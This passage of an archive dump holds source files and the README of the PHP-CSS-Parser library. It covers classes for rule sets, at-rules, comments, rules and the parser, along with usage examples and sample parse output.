     *        excluded. Passing a Rule behaves like calling `getRules($mRule->getRule())`.
     *
     * @return array<string, Rule>
     */
    public function getRulesAssoc($mRule = null)
    {
        /** @var array<string, Rule> $aResult */
        $aResult = [];
        foreach ($this->getRules($mRule) as $oRule) {
            $aResult[$oRule->getRule()] = $oRule;
        }
        return $aResult;
    }

    /**
     * Removes a rule from this RuleSet. This accepts all the possible values that `getRules()` accepts.
     *
     * If given a Rule, it will only remove this particular rule (by identity).
     * If given a name, it will remove all rules by that name.
     *
     * Note: this is different from pre-v.2.0 behaviour of PHP-CSS-Parser, where passing a Rule instance would
     * remove all rules with the same name. To get the old behaviour, use `removeRule($oRule->getRule())`.
     *
     * @param Rule|string|null $mRule
     *        pattern to remove. If $mRule is null, all rules are removed. If the pattern ends in a dash,
     *        all rules starting with the pattern are removed as well as one matching the pattern with the dash
     *        excluded. Passing a Rule behaves matches by identity.
     *
     * @return void
     */
    public function removeRule($mRule)
    {
        if ($mRule instanceof Rule) {
            $sRule = $mRule->getRule();
            if (!isset($this->aRules[$sRule])) {
                return;
            }
            foreach ($this->aRules[$sRule] as $iKey => $oRule) {
                if ($oRule === $mRule) {
                    unset($this->aRules[$sRule][$iKey]);
                }
            }
        } else {
            foreach ($this->aRules as $sName => $aRules) {
                // Either no search rule is given or the search rule matches the found rule exactly
                // or the search rule ends in “-” and the found rule starts with the search rule or equals it
                // (without the trailing dash).
                if (
                    !$mRule || $sName === $mRule
                    || (strrpos($mRule, '-') === strlen($mRule) - strlen('-')
                        && (strpos($sName, $mRule) === 0 || $sName === substr($mRule, 0, -1)))
                ) {
                    unset($this->aRules[$sName]);
                }
            }
        }
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return $this->render(new OutputFormat());
    }

    /**
     * @return string
     */
    protected function renderRules(OutputFormat $oOutputFormat)
    {
        $sResult = '';
        $bIsFirst = true;
        $oNextLevel = $oOutputFormat->nextLevel();
        foreach ($this->aRules as $aRules) {
            foreach ($aRules as $oRule) {
                $sRendered = $oNextLevel->safely(function () use ($oRule, $oNextLevel) {
                    return $oRule->render($oNextLevel);
                });
                if ($sRendered === null) {
                    continue;
                }
                if ($bIsFirst) {
                    $bIsFirst = false;
                    $sResult .= $oNextLevel->spaceBeforeRules();
                } else {
                    $sResult .= $oNextLevel->spaceBetweenRules();
                }
                $sResult .= $sRendered;
            }
        }

        if (!$bIsFirst) {
            // Had some output
            $sResult .= $oOutputFormat->spaceAfterRules();
        }

        return $oOutputFormat->removeLastSemicolon($sResult);
    }

    /**
     * @param array<string, Comment> $aComments
     *
     * @return void
     */
    public function addComments(array $aComments)
    {
        $this->aComments = array_merge($this->aComments, $aComments);
    }

    /**
     * @return array<string, Comment>
     */
    public function getComments()
    {
        return $this->aComments;
    }

    /**
     * @param array<string, Comment> $aComments
     *
     * @return void
     */
    public function setComments(array $aComments)
    {
        $this->aComments = $aComments;
    }
}
vendor/sabberworm/php-css-parser/src/RuleSet/AtRuleSet.php000066600000003116151150442750017617 0ustar00<?php

namespace Sabberworm\CSS\RuleSet;

use Sabberworm\CSS\OutputFormat;
use Sabberworm\CSS\Property\AtRule;

/**
 * This class represents rule sets for generic at-rules which are not covered by specific classes, i.e., not
 * `@import`, `@charset` or `@media`.
 *
 * A common example for this is `@font-face`.
 */
class AtRuleSet extends RuleSet implements AtRule
{
    /**
     * @var string
     */
    private $sType;

    /**
     * @var string
     */
    private $sArgs;

    /**
     * @param string $sType
     * @param string $sArgs
     * @param int $iLineNo
     */
    public function __construct($sType, $sArgs = '', $iLineNo = 0)
    {
        parent::__construct($iLineNo);
        $this->sType = $sType;
        $this->sArgs = $sArgs;
    }

    /**
     * @return string
     */
    public function atRuleName()
    {
        return $this->sType;
    }

    /**
     * @return string
     */
    public function atRuleArgs()
    {
        return $this->sArgs;
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return $this->render(new OutputFormat());
    }

    /**
     * @param OutputFormat|null $oOutputFormat
     *
     * @return string
     */
    public function render($oOutputFormat)
    {
        $sResult = $oOutputFormat->comments($this);
        $sArgs = $this->sArgs;
        if ($sArgs) {
            $sArgs = ' ' . $sArgs;
        }
        $sResult .= "@{$this->sType}$sArgs{$oOutputFormat->spaceBeforeOpeningBrace()}{";
        $sResult .= $this->renderRules($oOutputFormat);
        $sResult .= '}';
        return $sResult;
    }
}
vendor/sabberworm/php-css-parser/src/Comment/Commentable.php000066600000000704151150442750020214 0ustar00<?php

namespace Sabberworm\CSS\Comment;

interface Commentable
{
    /**
     * @param array<array-key, Comment> $aComments
     *
     * @return void
     */
    public function addComments(array $aComments);

    /**
     * @return array<array-key, Comment>
     */
    public function getComments();

    /**
     * @param array<array-key, Comment> $aComments
     *
     * @return void
     */
    public function setComments(array $aComments);
}
vendor/sabberworm/php-css-parser/src/Comment/Comment.php000066600000002266151150442750017375 0ustar00<?php

namespace Sabberworm\CSS\Comment;

use Sabberworm\CSS\OutputFormat;
use Sabberworm\CSS\Renderable;

class Comment implements Renderable
{
    /**
     * @var int
     */
    protected $iLineNo;

    /**
     * @var string
     */
    protected $sComment;

    /**
     * @param string $sComment
     * @param int $iLineNo
     */
    public function __construct($sComment = '', $iLineNo = 0)
    {
        $this->sComment = $sComment;
        $this->iLineNo = $iLineNo;
    }

    /**
     * @return string
     */
    public function getComment()
    {
        return $this->sComment;
    }

    /**
     * @return int
     */
    public function getLineNo()
    {
        return $this->iLineNo;
    }

    /**
     * @param string $sComment
     *
     * @return void
     */
    public function setComment($sComment)
    {
        $this->sComment = $sComment;
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return $this->render(new OutputFormat());
    }

    /**
     * @param OutputFormat|null $oOutputFormat
     *
     * @return string
     */
    public function render($oOutputFormat)
    {
        return '/*' . $this->sComment . '*/';
    }
}
vendor/sabberworm/php-css-parser/src/Rule/Rule.php000066600000024013151150442750016201 0ustar00<?php

namespace Sabberworm\CSS\Rule;

use Sabberworm\CSS\Comment\Comment;
use Sabberworm\CSS\Comment\Commentable;
use Sabberworm\CSS\OutputFormat;
use Sabberworm\CSS\Parsing\ParserState;
use Sabberworm\CSS\Parsing\UnexpectedEOFException;
use Sabberworm\CSS\Parsing\UnexpectedTokenException;
use Sabberworm\CSS\Renderable;
use Sabberworm\CSS\Value\RuleValueList;
use Sabberworm\CSS\Value\Value;

/**
 * `Rule`s just have a string key (the rule) and a 'Value'.
 *
 * In CSS, `Rule`s are expressed as follows: “key: value[0][0] value[0][1], value[1][0] value[1][1];”
 */
class Rule implements Renderable, Commentable
{
    /**
     * @var string
     */
    private $sRule;

    /**
     * @var RuleValueList|string|null
     */
    private $mValue;

    /**
     * @var bool
     */
    private $bIsImportant;

    /**
     * @var array<int, int>
     */
    private $aIeHack;

    /**
     * @var int
     */
    protected $iLineNo;

    /**
     * @var int
     */
    protected $iColNo;

    /**
     * @var array<array-key, Comment>
     */
    protected $aComments;

    /**
     * @param string $sRule
     * @param int $iLineNo
     * @param int $iColNo
     */
    public function __construct($sRule, $iLineNo = 0, $iColNo = 0)
    {
        $this->sRule = $sRule;
        $this->mValue = null;
        $this->bIsImportant = false;
        $this->aIeHack = [];
        $this->iLineNo = $iLineNo;
        $this->iColNo = $iColNo;
        $this->aComments = [];
    }

    /**
     * @return Rule
     *
     * @throws UnexpectedEOFException
     * @throws UnexpectedTokenException
     */
    public static function parse(ParserState $oParserState)
    {
        $aComments = $oParserState->consumeWhiteSpace();
        $oRule = new Rule(
            $oParserState->parseIdentifier(!$oParserState->comes("--")),
            $oParserState->currentLine(),
            $oParserState->currentColumn()
        );
        $oRule->setComments($aComments);
        $oRule->addComments($oParserState->consumeWhiteSpace());
        $oParserState->consume(':');
        $oValue = Value::parseValue($oParserState, self::listDelimiterForRule($oRule->getRule()));
        $oRule->setValue($oValue);
        if ($oParserState->getSettings()->bLenientParsing) {
            while ($oParserState->comes('\\')) {
                $oParserState->consume('\\');
                $oRule->addIeHack($oParserState->consume());
                $oParserState->consumeWhiteSpace();
            }
        }
        $oParserState->consumeWhiteSpace();
        if ($oParserState->comes('!')) {
            $oParserState->consume('!');
            $oParserState->consumeWhiteSpace();
            $oParserState->consume('important');
            $oRule->setIsImportant(true);
        }
        $oParserState->consumeWhiteSpace();
        while ($oParserState->comes(';')) {
            $oParserState->consume(';');
        }

        $oParserState->consumeWhiteSpace();

        return $oRule;
    }

    /**
     * @param string $sRule
     *
     * @return array<int, string>
     */
    private static function listDelimiterForRule($sRule)
    {
        if (preg_match('/^font($|-)/', $sRule)) {
            return [',', '/', ' '];
        }
        return [',', ' ', '/'];
    }

    /**
     * @return int
     */
    public function getLineNo()
    {
        return $this->iLineNo;
    }

    /**
     * @return int
     */
    public function getColNo()
    {
        return $this->iColNo;
    }

    /**
     * @param int $iLine
     * @param int $iColumn
     *
     * @return void
     */
    public function setPosition($iLine, $iColumn)
    {
        $this->iColNo = $iColumn;
        $this->iLineNo = $iLine;
    }

    /**
     * @param string $sRule
     *
     * @return void
     */
    public function setRule($sRule)
    {
        $this->sRule = $sRule;
    }

    /**
     * @return string
     */
    public function getRule()
    {
        return $this->sRule;
    }

    /**
     * @return RuleValueList|string|null
     */
    public function getValue()
    {
        return $this->mValue;
    }

    /**
     * @param RuleValueList|string|null $mValue
     *
     * @return void
     */
    public function setValue($mValue)
    {
        $this->mValue = $mValue;
    }

    /**
     * @param array<array-key, array<array-key, RuleValueList>> $aSpaceSeparatedValues
     *
     * @return RuleValueList
     *
     * @deprecated will be removed in version 9.0
     *             Old-Style 2-dimensional array given. Retained for (some) backwards-compatibility.
     *             Use `setValue()` instead and wrap the value inside a RuleValueList if necessary.
     */
    public function setValues(array $aSpaceSeparatedValues)
    {
        $oSpaceSeparatedList = null;
        if (count($aSpaceSeparatedValues) > 1) {
            $oSpaceSeparatedList = new RuleValueList(' ', $this->iLineNo);
        }
        foreach ($aSpaceSeparatedValues as $aCommaSeparatedValues) {
            $oCommaSeparatedList = null;
            if (count($aCommaSeparatedValues) > 1) {
                $oCommaSeparatedList = new RuleValueList(',', $this->iLineNo);
            }
            foreach ($aCommaSeparatedValues as $mValue) {
                if (!$oSpaceSeparatedList && !$oCommaSeparatedList) {
                    $this->mValue = $mValue;
                    return $mValue;
                }
                if ($oCommaSeparatedList) {
                    $oCommaSeparatedList->addListComponent($mValue);
                } else {
                    $oSpaceSeparatedList->addListComponent($mValue);
                }
            }
            if (!$oSpaceSeparatedList) {
                $this->mValue = $oCommaSeparatedList;
                return $oCommaSeparatedList;
            } else {
                $oSpaceSeparatedList->addListComponent($oCommaSeparatedList);
            }
        }
        $this->mValue = $oSpaceSeparatedList;
        return $oSpaceSeparatedList;
    }

    /**
     * @return array<int, array<int, RuleValueList>>
     *
     * @deprecated will be removed in version 9.0
     *             Old-Style 2-dimensional array returned. Retained for (some) backwards-compatibility.
     *             Use `getValue()` instead and check for the existence of a (nested set of) ValueList object(s).
     */
    public function getValues()
    {
        if (!$this->mValue instanceof RuleValueList) {
            return [[$this->mValue]];
        }
        if ($this->mValue->getListSeparator() === ',') {
            return [$this->mValue->getListComponents()];
        }
        $aResult = [];
        foreach ($this->mValue->getListComponents() as $mValue) {
            if (!$mValue instanceof RuleValueList || $mValue->getListSeparator() !== ',') {
                $aResult[] = [$mValue];
                continue;
            }
            if ($this->mValue->getListSeparator() === ' ' || count($aResult) === 0) {
                $aResult[] = [];
            }
            foreach ($mValue->getListComponents() as $mValue) {
                $aResult[count($aResult) - 1][] = $mValue;
            }
        }
        return $aResult;
    }

    /**
     * Adds a value to the existing value. Value will be appended if a `RuleValueList` exists of the given type.
     * Otherwise, the existing value will be wrapped by one.
     *
     * @param RuleValueList|array<int, RuleValueList> $mValue
     * @param string $sType
     *
     * @return void
     */
    public function addValue($mValue, $sType = ' ')
    {
        if (!is_array($mValue)) {
            $mValue = [$mValue];
        }
        if (!$this->mValue instanceof RuleValueList || $this->mValue->getListSeparator() !== $sType) {
            $mCurrentValue = $this->mValue;
            $this->mValue = new RuleValueList($sType, $this->iLineNo);
            if ($mCurrentValue) {
                $this->mValue->addListComponent($mCurrentValue);
            }
        }
        foreach ($mValue as $mValueItem) {
            $this->mValue->addListComponent($mValueItem);
        }
    }

    /**
     * @param int $iModifier
     *
     * @return void
     */
    public function addIeHack($iModifier)
    {
        $this->aIeHack[] = $iModifier;
    }

    /**
     * @param array<int, int> $aModifiers
     *
     * @return void
     */
    public function setIeHack(array $aModifiers)
    {
        $this->aIeHack = $aModifiers;
    }

    /**
     * @return array<int, int>
     */
    public function getIeHack()
    {
        return $this->aIeHack;
    }

    /**
     * @param bool $bIsImportant
     *
     * @return void
     */
    public function setIsImportant($bIsImportant)
    {
        $this->bIsImportant = $bIsImportant;
    }

    /**
     * @return bool
     */
    public function getIsImportant()
    {
        return $this->bIsImportant;
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return $this->render(new OutputFormat());
    }

    /**
     * @param OutputFormat|null $oOutputFormat
     *
     * @return string
     */
    public function render($oOutputFormat)
    {
        $sResult = "{$oOutputFormat->comments($this)}{$this->sRule}:{$oOutputFormat->spaceAfterRuleName()}";
        if ($this->mValue instanceof Value) { // Can also be a ValueList
            $sResult .= $this->mValue->render($oOutputFormat);
        } else {
            $sResult .= $this->mValue;
        }
        if (!empty($this->aIeHack)) {
            $sResult .= ' \\' . implode('\\', $this->aIeHack);
        }
        if ($this->bIsImportant) {
            $sResult .= ' !important';
        }
        $sResult .= ';';
        return $sResult;
    }

    /**
     * @param array<array-key, Comment> $aComments
     *
     * @return void
     */
    public function addComments(array $aComments)
    {
        $this->aComments = array_merge($this->aComments, $aComments);
    }

    /**
     * @return array<array-key, Comment>
     */
    public function getComments()
    {
        return $this->aComments;
    }

    /**
     * @param array<array-key, Comment> $aComments
     *
     * @return void
     */
    public function setComments(array $aComments)
    {
        $this->aComments = $aComments;
    }
}
vendor/sabberworm/php-css-parser/src/Parser.php000066600000003460151150442750015622 0ustar00<?php

namespace Sabberworm\CSS;

use Sabberworm\CSS\CSSList\Document;
use Sabberworm\CSS\Parsing\ParserState;
use Sabberworm\CSS\Parsing\SourceException;

/**
 * This class parses CSS from text into a data structure.
 */
class Parser
{
    /**
     * @var ParserState
     */
    private $oParserState;

    /**
     * @param string $sText the complete CSS as text (i.e., usually the contents of a CSS file)
     * @param Settings|null $oParserSettings
     * @param int $iLineNo the line number (starting from 1, not from 0)
     */
    public function __construct($sText, $oParserSettings = null, $iLineNo = 1)
    {
        if ($oParserSettings === null) {
            $oParserSettings = Settings::create();
        }
        $this->oParserState = new ParserState($sText, $oParserSettings, $iLineNo);
    }

    /**
     * Sets the charset to be used if the CSS does not contain an `@charset` declaration.
     *
     * @param string $sCharset
     *
     * @return void
     *
     * @deprecated since 8.7.0, will be removed in version 9.0.0 with #687
     */
    public function setCharset($sCharset)
    {
        $this->oParserState->setCharset($sCharset);
    }

    /**
     * Returns the charset that is used if the CSS does not contain an `@charset` declaration.
     *
     * @return void
     *
     * @deprecated since 8.7.0, will be removed in version 9.0.0 with #687
     */
    public function getCharset()
    {
        // Note: The `return` statement is missing here. This is a bug that needs to be fixed.
        $this->oParserState->getCharset();
    }

    /**
     * Parses the CSS provided to the constructor and creates a `Document` from it.
     *
     * @return Document
     *
     * @throws SourceException
     */
    public function parse()
    {
        return Document::parse($this->oParserState);
    }
}
vendor/sabberworm/php-css-parser/README.md000066600000050405151150442750014346 0ustar00# PHP CSS Parser

[![Build Status](https://github.com/sabberworm/PHP-CSS-Parser/workflows/CI/badge.svg?branch=master)](https://github.com/sabberworm/PHP-CSS-Parser/actions/)

A Parser for CSS Files written in PHP. Allows extraction of CSS files into a data structure, manipulation of said structure and output as (optimized) CSS.

## Usage

### Installation using Composer

```bash
composer require sabberworm/php-css-parser
```

### Extraction

To use the CSS Parser, create a new instance. The constructor takes the following form:

```php
new \Sabberworm\CSS\Parser($css);
```

To read a file, for example, you’d do the following:

```php
$parser = new \Sabberworm\CSS\Parser(file_get_contents('somefile.css'));
$cssDocument = $parser->parse();
```

The resulting CSS document structure can be manipulated prior to being output.

### Options

#### Charset

The charset option will only be used if the CSS file does not contain an `@charset` declaration. UTF-8 is the default, so you won’t have to create a settings object at all if you don’t intend to change that.

```php
$settings = \Sabberworm\CSS\Settings::create()
    ->withDefaultCharset('windows-1252');
$parser = new \Sabberworm\CSS\Parser($css, $settings);
```

#### Strict parsing

To have the parser throw an exception when encountering invalid/unknown constructs (as opposed to trying to ignore them and carry on parsing), supply a thusly configured `\Sabberworm\CSS\Settings` object:

```php
$parser = new \Sabberworm\CSS\Parser(
    file_get_contents('somefile.css'),
    \Sabberworm\CSS\Settings::create()->beStrict()
);
```

Note that this will also disable a workaround for parsing the unquoted variant of the legacy IE-specific `filter` rule.

#### Disable multibyte functions

To achieve faster parsing, you can choose to have PHP-CSS-Parser use regular string functions instead of `mb_*` functions. This should work fine in most cases, even for UTF-8 files, as all the multibyte characters are in string literals. Still it’s not recommended using this with input you have no control over as it’s not thoroughly covered by test cases.

```php
$settings = \Sabberworm\CSS\Settings::create()->withMultibyteSupport(false);
$parser = new \Sabberworm\CSS\Parser($css, $settings);
```

### Manipulation

The resulting data structure consists mainly of five basic types: `CSSList`, `RuleSet`, `Rule`, `Selector` and `Value`. There are two additional types used: `Import` and `Charset`, which you won’t use often.

#### CSSList

`CSSList` represents a generic CSS container, most likely containing declaration blocks (rule sets with a selector), but it may also contain at-rules, charset declarations, etc.

To access the items stored in a `CSSList` – like the document you got back when calling `$parser->parse()` –, use `getContents()`, then iterate over that collection and use `instanceof` to check whether you’re dealing with another `CSSList`, a `RuleSet`, a `Import` or a `Charset`.

To append a new item (selector, media query, etc.) to an existing `CSSList`, construct it using the constructor for this class and use the `append($oItem)` method.

#### RuleSet

`RuleSet` is a container for individual rules. The most common form of a rule set is one constrained by a selector. The following concrete subtypes exist:

* `AtRuleSet` – for generic at-rules for generic at-rules which are not covered by specific classes, i.e., not `@import`, `@charset` or `@media`. A common example for this is `@font-face`.
* `DeclarationBlock` – a `RuleSet` constrained by a `Selector`; contains an array of selector objects (comma-separated in the CSS) as well as the rules to be applied to the matching elements.

Note: A `CSSList` can contain other `CSSList`s (and `Import`s as well as a `Charset`), while a `RuleSet` can only contain `Rule`s.

If you want to manipulate a `RuleSet`, use the methods `addRule(Rule $rule)`, `getRules()` and `removeRule($rule)` (which accepts either a `Rule` or a rule name; optionally suffixed by a dash to remove all related rules).

#### Rule

`Rule`s just have a string key (the rule) and a `Value`.

#### Value

`Value` is an abstract class that only defines the `render` method. The concrete subclasses for atomic value types are:

* `Size` – consists of a numeric `size` value and a unit.
* `Color` – colors can be input in the form #rrggbb, #rgb or schema(val1, val2, …) but are always stored as an array of ('s' => val1, 'c' => val2, 'h' => val3, …) and output in the second form.
* `CSSString` – this is just a wrapper for quoted strings to distinguish them from keywords; always output with double quotes.
* `URL` – URLs in CSS; always output in `URL("")` notation.

There is another abstract subclass of `Value`, `ValueList`: A `ValueList` represents a lists of `Value`s, separated by some separation character (mostly `,`, whitespace, or `/`).

There are two types of `ValueList`s:

* `RuleValueList` – The default type, used to represent all multivalued rules like `font: bold 12px/3 Helvetica, Verdana, sans-serif;` (where the value would be a whitespace-separated list of the primitive value `bold`, a slash-separated list and a comma-separated list).
* `CSSFunction` – A special kind of value that also contains a function name and where the values are the function’s arguments. Also handles equals-sign-separated argument lists like `filter: alpha(opacity=90);`.

#### Convenience methods

There are a few convenience methods on `Document` to ease finding, manipulating and deleting rules:

* `getAllDeclarationBlocks()` – does what it says; no matter how deeply nested the selectors are. Aliased as `getAllSelectors()`.
* `getAllRuleSets()` – does what it says; no matter how deeply nested the rule sets are.
* `getAllValues()` – finds all `Value` objects inside `Rule`s.

## To-Do

* More convenience methods (like `selectorsWithElement($sId/Class/TagName)`, `attributesOfType($type)`, `removeAttributesOfType($type)`)
* Real multibyte support. Currently, only multibyte charsets whose first 255 code points take up only one byte and are identical with ASCII are supported (yes, UTF-8 fits this description).
* Named color support (using `Color` instead of an anonymous string literal)

## Use cases

### Use `Parser` to prepend an ID to all selectors

```php
$myId = "#my_id";
$parser = new \Sabberworm\CSS\Parser($css);
$cssDocument = $parser->parse();
foreach ($cssDocument->getAllDeclarationBlocks() as $block) {
    foreach ($block->getSelectors() as $selector) {
        // Loop over all selector parts (the comma-separated strings in a
        // selector) and prepend the ID.
        $selector->setSelector($myId.' '.$selector->getSelector());
    }
}
```

### Shrink all absolute sizes to half

```php
$parser = new \Sabberworm\CSS\Parser($css);
$cssDocument = $parser->parse();
foreach ($cssDocument->getAllValues() as $value) {
    if ($value instanceof CSSSize && !$value->isRelative()) {
        $value->setSize($value->getSize() / 2);
    }
}
```

### Remove unwanted rules

```php
$parser = new \Sabberworm\CSS\Parser($css);
$cssDocument = $parser->parse();
foreach($cssDocument->getAllRuleSets() as $oRuleSet) {
    // Note that the added dash will make this remove all rules starting with
    // `font-` (like `font-size`, `font-weight`, etc.) as well as a potential
    // `font` rule.
    $oRuleSet->removeRule('font-'); 
    $oRuleSet->removeRule('cursor');
}
```

### Output

To output the entire CSS document into a variable, just use `->render()`:

```php
$parser = new \Sabberworm\CSS\Parser(file_get_contents('somefile.css'));
$cssDocument = $parser->parse();
print $cssDocument->render();
```

If you want to format the output, pass an instance of type `\Sabberworm\CSS\OutputFormat`:

```php
$format = \Sabberworm\CSS\OutputFormat::create()
    ->indentWithSpaces(4)->setSpaceBetweenRules("\n");
print $cssDocument->render($format);
```

Or use one of the predefined formats:

```php
print $cssDocument->render(Sabberworm\CSS\OutputFormat::createPretty());
print $cssDocument->render(Sabberworm\CSS\OutputFormat::createCompact());
```

To see what you can do with output formatting, look at the tests in `tests/OutputFormatTest.php`.

## Examples

### Example 1 (At-Rules)

#### Input

```css
@charset "utf-8";

@font-face {
  font-family: "CrassRoots";
  src: url("../media/cr.ttf");
}

html, body {
    font-size: 1.6em;
}

@keyframes mymove {
    from { top: 0px; }
    to { top: 200px; }
}

```

<details>
  <summary><b>Structure (<code>var_dump()</code>)</b></summary>

```php
class Sabberworm\CSS\CSSList\Document#4 (2) {
  protected $aContents =>
  array(4) {
    [0] =>
    class Sabberworm\CSS\Property\Charset#6 (2) {
      private $sCharset =>
      class Sabberworm\CSS\Value\CSSString#5 (2) {
        private $sString =>
        string(5) "utf-8"
        protected $iLineNo =>
        int(1)
      }
      protected $iLineNo =>
      int(1)
    }
    [1] =>
    class Sabberworm\CSS\RuleSet\AtRuleSet#7 (4) {
      private $sType =>
      string(9) "font-face"
      private $sArgs =>
      string(0) ""
      private $aRules =>
      array(2) {
        'font-family' =>
        array(1) {
          [0] =>
          class Sabberworm\CSS\Rule\Rule#8 (4) {
            private $sRule =>
            string(11) "font-family"
            private $mValue =>
            class Sabberworm\CSS\Value\CSSString#9 (2) {
              private $sString =>
              string(10) "CrassRoots"
              protected $iLineNo =>
              int(4)
            }
            private $bIsImportant =>
            bool(false)
            protected $iLineNo =>
            int(4)
          }
        }
        'src' =>
        array(1) {
          [0] =>
          class Sabberworm\CSS\Rule\Rule#10 (4) {
            private $sRule =>
            string(3) "src"
            private $mValue =>
            class Sabberworm\CSS\Value\URL#11 (2) {
              private $oURL =>
              class Sabberworm\CSS\Value\CSSString#12 (2) {
                private $sString =>
                string(15) "../media/cr.ttf"
                protected $iLineNo =>
                int(5)
              }
              protected $iLineNo =>
              int(5)
            }
            private $bIsImportant =>
            bool(false)
            protected $iLineNo =>
            int(5)
          }
        }
      }
      protected $iLineNo =>
      int(3)
    }
    [2] =>
    class Sabberworm\CSS\RuleSet\DeclarationBlock#13 (3) {
      private $aSelectors =>
      array(2) {
        [0] =>
        class Sabberworm\CSS\Property\Selector#14 (2) {
          private $sSelector =>
          string(4) "html"
          private $iSpecificity =>
          NULL
        }
        [1] =>
        class Sabberworm\CSS\Property\Selector#15 (2) {
          private $sSelector =>
          string(4) "body"
          private $iSpecificity =>
          NULL
        }
      }
      private $aRules =>
      array(1) {
        'font-size' =>
        array(1) {
          [0] =>
          class Sabberworm\CSS\Rule\Rule#16 (4) {
            private $sRule =>
            string(9) "font-size"
            private $mValue =>
            class Sabberworm\CSS\Value\Size#17 (4) {
              private $fSize =>
              double(1.6)
              private $sUnit =>
              string(2) "em"
              private $bIsColorComponent =>
              bool(false)
              protected $iLineNo =>
              int(9)
            }
            private $bIsImportant =>
            bool(false)
            protected $iLineNo =>
            int(9)
          }
        }
      }
      protected $iLineNo =>
      int(8)
    }
    [3] =>
    class Sabberworm\CSS\CSSList\KeyFrame#18 (4) {
      private $vendorKeyFrame =>
      string(9) "keyframes"
      private $animationName =>
      string(6) "mymove"
      protected $aContents =>
      array(2) {
        [0] =>
        class Sabberworm\CSS\RuleSet\DeclarationBlock#19 (3) {
          private $aSelectors =>
          array(1) {
            [0] =>
            class Sabberworm\CSS\Property\Selector#20 (2) {
              private $sSelector =>
              string(4) "from"
              private $iSpecificity =>
              NULL
            }
          }
          private $aRules =>
          array(1) {
            'top' =>
            array(1) {
              [0] =>
              class Sabberworm\CSS\Rule\Rule#21 (4) {
                private $sRule =>
                string(3) "top"
                private $mValue =>
                class Sabberworm\CSS\Value\Size#22 (4) {
                  private $fSize =>
                  double(0)
                  private $sUnit =>
                  string(2) "px"
                  private $bIsColorComponent =>
                  bool(false)
                  protected $iLineNo =>
                  int(13)
                }
                private $bIsImportant =>
                bool(false)
                protected $iLineNo =>
                int(13)
              }
            }
          }
          protected $iLineNo =>
          int(13)
        }
        [1] =>
        class Sabberworm\CSS\RuleSet\DeclarationBlock#23 (3) {
          private $aSelectors =>
          array(1) {
            [0] =>
            class Sabberworm\CSS\Property\Selector#24 (2) {
              private $sSelector =>
              string(2) "to"
              private $iSpecificity =>
              NULL
            }
          }
          private $aRules =>
          array(1) {
            'top' =>
            array(1) {
              [0] =>
              class Sabberworm\CSS\Rule\Rule#25 (4) {
                private $sRule =>
                string(3) "top"
                private $mValue =>
                class Sabberworm\CSS\Value\Size#26 (4) {
                  private $fSize =>
                  double(200)
                  private $sUnit =>
                  string(2) "px"
                  private $bIsColorComponent =>
                  bool(false)
                  protected $iLineNo =>
                  int(14)
                }
                private $bIsImportant =>
                bool(false)
                protected $iLineNo =>
                int(14)
              }
            }
          }
          protected $iLineNo =>
          int(14)
        }
      }
      protected $iLineNo =>
      int(12)
    }
  }
  protected $iLineNo =>
  int(1)
}

```
</details>

#### Output (`render()`)

```css
@charset "utf-8";
@font-face {font-family: "CrassRoots";src: url("../media/cr.ttf");}
html, body {font-size: 1.6em;}
@keyframes mymove {from {top: 0px;} to {top: 200px;}}
```

### Example 2 (Values)

#### Input

```css
#header {
    margin: 10px 2em 1cm 2%;
    font-family: Verdana, Helvetica, "Gill Sans", sans-serif;
    color: red !important;
}

```

<details>
  <summary><b>Structure (<code>var_dump()</code>)</b></summary>

```php
class Sabberworm\CSS\CSSList\Document#4 (2) {
  protected $aContents =>
  array(1) {
    [0] =>
    class Sabberworm\CSS\RuleSet\DeclarationBlock#5 (3) {
      private $aSelectors =>
      array(1) {
        [0] =>
        class Sabberworm\CSS\Property\Selector#6 (2) {
          private $sSelector =>
          string(7) "#header"
          private $iSpecificity =>
          NULL
        }
      }
      private $aRules =>
      array(3) {
        'margin' =>
        array(1) {
          [0] =>
          class Sabberworm\CSS\Rule\Rule#7 (4) {
            private $sRule =>
            string(6) "margin"
            private $mValue =>
            class Sabberworm\CSS\Value\RuleValueList#12 (3) {
              protected $aComponents =>
              array(4) {
                [0] =>
                class Sabberworm\CSS\Value\Size#8 (4) {
                  private $fSize =>
                  double(10)
                  private $sUnit =>
                  string(2) "px"
                  private $bIsColorComponent =>
                  bool(false)
                  protected $iLineNo =>
                  int(2)
                }
                [1] =>
                class Sabberworm\CSS\Value\Size#9 (4) {
                  private $fSize =>
                  double(2)
                  private $sUnit =>
                  string(2) "em"
                  private $bIsColorComponent =>
                  bool(false)
                  protected $iLineNo =>
                  int(2)
                }
                [2] =>
                class Sabberworm\CSS\Value\Size#10 (4) {
                  private $fSize =>
                  double(1)
                  private $sUnit =>
                  string(2) "cm"
                  private $bIsColorComponent =>
                  bool(false)
                  protected $iLineNo =>
                  int(2)
                }
                [3] =>
                class Sabberworm\CSS\Value\Size#11 (4) {
                  private $fSize =>
                  double(2)
                  private $sUnit =>
                  string(1) "%"
                  private $bIsColorComponent =>
                  bool(false)
                  protected $iLineNo =>
                  int(2)
                }
              }
              protected $sSeparator =>
              string(1) " "
              protected $iLineNo =>
              int(2)
            }
            private $bIsImportant =>
            bool(false)
            protected $iLineNo =>
            int(2)
          }
        }
        'font-family' =>
        array(1) {
          [0] =>
          class Sabberworm\CSS\Rule\Rule#13 (4) {
            private $sRule =>
            string(11) "font-family"
            private $mValue =>
            class Sabberworm\CSS\Value\RuleValueList#15 (3) {
              protected $aComponents =>
              array(4) {
                [0] =>
                string(7) "Verdana"
                [1] =>
                string(9) "Helvetica"
                [2] =>
                class Sabberworm\CSS\Value\CSSString#14 (2) {
                  private $sString =>
                  string(9) "Gill Sans"
                  protected $iLineNo =>
                  int(3)
                }
                [3] =>
                string(10) "sans-serif"
              }
              protected $sSeparator =>
              string(1) ","
              protected $iLineNo =>
              int(3)
            }
            private $bIsImportant =>
            bool(false)
            protected $iLineNo =>
            int(3)
          }
        }
        'color' =>
        array(1) {
          [0] =>
          class Sabberworm\CSS\Rule\Rule#16 (4) {
            private $sRule =>
            string(5) "color"
            private $mValue =>
            string(3) "red"
            private $bIsImportant =>
            bool(true)
            protected $iLineNo =>
            int(4)
          }
        }
      }
      protected $iLineNo =>
      int(1)
    }
  }
  protected $iLineNo =>
  int(1)
}

```
</details>

#### Output (`render()`)

```css
#header {margin: 10px 2em 1cm 2%;font-family: Verdana,Helvetica,"Gill Sans",sans-serif;color: red !important;}
```

